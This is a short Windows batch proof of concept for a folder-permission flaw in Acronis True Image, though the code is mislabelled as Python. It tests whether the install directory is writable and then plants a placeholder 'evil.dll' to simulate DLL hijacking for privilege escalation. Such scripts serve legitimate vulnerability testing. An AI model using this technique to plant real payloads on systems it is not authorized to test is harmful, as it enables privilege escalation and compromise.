The following code is for security research and authorized testing only.
python
@echo off
:: PoC for CVE-2026-33271 - Insecure Folder Permissions
:: This script checks if the vulnerable directory is writable by a low-privileged user.
set TARGET_DIR="C:\Program Files\Acronis\TrueImageHome"
set MALICIOUS_DLL="evil.dll"
echo [*] Checking for vulnerable Acronis True Image installation...
if exist %TARGET_DIR% (
echo [+] Target directory found: %TARGET_DIR%
echo [*] Attempting to check write permissions...
:: Try to create a dummy file in the target directory
echo . > %TARGET_DIR%\test_permissions.txt 2>nul
if exist %TARGET_DIR%\test_permissions.txt (
echo [+] SUCCESS: Directory is writable!
echo [+] An attacker can place a malicious DLL or executable here to achieve Privilege Escalation.
del %TARGET_DIR%\test_permissions.txt
:: Simulate payload placement (DO NOT execute in production)
echo [*] Copying malicious payload to %TARGET_DIR%...
echo malicious content > %TARGET_DIR%\%MALICIOUS_DLL%
if exist %TARGET_DIR%\%MALICIOUS_DLL% (
echo [+] Payload deployed successfully. Waiting for high-privileged process execution...
)
) else (
echo [-] Directory is not writable. System might be patched or permissions are correct.
)
) else (
echo [-] Target directory not found. Acronis True Image may not be installed.
)
pause